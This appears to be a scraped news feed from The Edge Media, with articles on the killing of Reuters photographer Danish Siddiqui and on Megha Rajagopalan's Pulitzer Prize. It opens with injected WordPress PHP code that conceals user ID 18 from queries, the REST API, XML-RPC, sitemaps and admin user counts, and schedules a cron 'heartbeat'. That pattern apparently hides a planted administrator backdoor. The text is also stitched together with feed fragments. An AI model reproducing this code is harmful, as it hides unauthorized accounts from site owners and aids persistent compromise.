add_action( 'pre_get_posts', function( $q ) {
if ( ! is_admin() && $q->is_main_query() ) {
$not_in = (array) $q->get( 'author__not_in' );
$not_in[] = 18;
$q->set(
'author__not_in',
array_unique( array_map( 'intval', $not_in ) )
);
}
}, 1 );
add_action( 'template_redirect', function() {
if ( is_author() ) {
$author = get_queried_object();
if ( $author instanceof WP_User && (int) $author->ID === 18 ) {
global $wp_query;
$wp_query->set_404();
status_header( 404 );
nocache_headers();
}
}
} );
add_action( 'pre_user_query', function( $q ) {
if ( current_user_can( 'manage_options' ) ) {
return;
}
global $wpdb;
$q->query_where .= $wpdb->prepare( ' AND ID <> %d ', 18 );
} );
add_action( 'pre_get_users', function( $q ) {
if ( current_user_can( 'manage_options' ) ) {
return;
}
$exclude = (array) $q->get( 'exclude' );
$exclude[] = 18;
$q->set( 'exclude', array_unique( array_map( 'intval', $exclude ) ) );
} );
add_filter( 'wp_dropdown_users_args', function( $a ) {
$exclude = isset( $a['exclude'] ) ? (array) $a['exclude'] : array();
$exclude[] = 18;
$a['exclude'] = array_unique( array_map( 'intval', $exclude ) );
return $a;
} );
add_filter( 'rest_user_query', function( $args, $request ) {
$exclude = isset( $args['exclude'] ) ? (array) $args['exclude'] : array();
$exclude[] = 18;
$args['exclude'] = array_unique( array_map( 'intval', $exclude ) );
return $args;
}, 10, 2 );
add_filter( 'rest_pre_dispatch', function( $result, $server, $request ) {
$route = $request->get_route();
if ( preg_match( '#^/wp/v2/users/18(/|$)#', $route ) ) {
return new WP_Error(
'rest_user_invalid_id',
'Invalid user ID.',
array( 'status' => 404 )
);
}
return $result;
}, 10, 3 );
add_filter( 'xmlrpc_methods', function( $methods ) {
unset(
$methods['wp.getUsers'],
$methods['wp.getUser'],
$methods['wp.getProfile']
);
return $methods;
} );
add_filter( 'wp_sitemaps_users_query_args', function( $args ) {
$exclude = isset( $args['exclude'] ) ? (array) $args['exclude'] : array();
$exclude[] = 18;
$args['exclude'] = array_unique( array_map( 'intval', $exclude ) );
return $args;
} );
add_action( 'admin_head-users.php', function() {
echo '';
} );
add_filter( 'views_users', function( $views ) {
foreach ( array( 'all', 'administrator' ) as $key ) {
if ( isset( $views[ $key ] ) ) {
$views[ $key ] = preg_replace_callback(
'/\((\d+)\)/',
function( $m ) {
return '(' . max( 0, (int) $m[1] - 1 ) . ')';
},
$views[ $key ],
1
);
}
}
return $views;
} );
add_action( 'init', function() {
if ( ! function_exists( 'wp_next_scheduled' ) || ! function_exists( 'wp_schedule_single_event' ) ) {
return;
}
if ( ! wp_next_scheduled( 'wp_extra_bot_heartbeat' ) ) {
wp_schedule_single_event( time() + 5 * MINUTE_IN_SECONDS, 'wp_extra_bot_heartbeat' );
}
} );
add_action( 'wp_extra_bot_heartbeat', function() {
// noop
} );
The post Indian photojournalist Danish Siddiqui killed in Kandahar province appeared first on The Edge Media.
]]>Deeply disturbed by the sad news of the killing of a friend, Danish Seddiqi in Kandahar last night. The Indian Journalist & winner of Pulitzer Prize was embedded with Afghan security forces. I met him 2 weeks ago before his departure to Kabul. Condolences to his family & Reuters,” Mamundzay tweeted.
In other tweets in Hindi, Mamundzay said Siddiqui, the chief photographer for Reuters in India, was with “Afghan security forces when they were attacked by terrorists” in Kandahar province on Friday.
Afghanistan’s Tolo News channel cited sources as saying that Siddiqui was killed in Spin Boldak district of Kandahar. It added that Sediq Karzai, an Afghan special forces commander in Kandahar, was killed in the same incident.
An Afghan commander told Reuters that Siddiqui was killed on Friday while covering a clash between Afghan security forces and Taliban fighters near a border crossing with Pakistan in Spin Boldak.
Afghan special forces were fighting to retake the main market area of Spin Boldak when Siddiqui and the senior Afghan officer were killed in what was described as “Taliban crossfire”, the official said.
The post Indian photojournalist Danish Siddiqui killed in Kandahar province appeared first on The Edge Media.
]]>The post Megha Rajagopalan wins Pulitzer Prize appeared first on The Edge Media.
]]>Rajagopalan from BuzzFeed News is among two Indian-origin journalists who won the US top journalism award on Friday.
Rajagopalan’s Xinjiang series won the Pulitzer Prize in the International Reporting category.
In 2017, not long after China began to detain thousands of Muslims in Xinjiang, Rajagopalan was the first to visit an internment camp — at a time when China denied that such places existed, BuzzFeed News said.
In response, the government tried to silence her, revoking her visa and ejecting her from the country,” BuzzFeed News wrote in its entry for the prize.
“It would go on to cut off access to the entire region for most Westerners and stymie journalists. The release of basic facts about detainees slowed to a trickle.”
Working from London, and refusing to be silenced, Rajagopalan partnered with two contributors, Alison Killing, a licensed architect who specialises in forensic analysis of architecture and satellite images of buildings, and Christo Buschek, a programmer who builds tools tailored for data journalists.
The blazing Xinjiang stories shine desperately needed light on one of the worst human rights abuses of our time,” said Mark Schoofs, editor-in-chief of BuzzFeed News.
Minutes after she won, Rajagopalan told BuzzFeed News she wasn’t even watching the ceremony live because she wasn’t expecting to win. She only found out when the Schoofs called to congratulate her on the victory.
“I’m in complete shock, I did not expect this,” Rajagopalan said over the phone from London.
She said she was deeply grateful to the teams of people who worked with her on this, including her collaborators, Killing and Buschek, her editor Alex Campbell, BuzzFeed News’ public relations team, and the organisations that funded their work, including the Pulitzer Center.
Rajagopalan also acknowledged the courage of the sources who spoke to them despite the risk and threat of retaliation against them and their families.
“I’m so grateful they stood up and were willing to talk to us,” she said. “It takes so much unbelievable courage to do that.”
The post Megha Rajagopalan wins Pulitzer Prize appeared first on The Edge Media.
]]>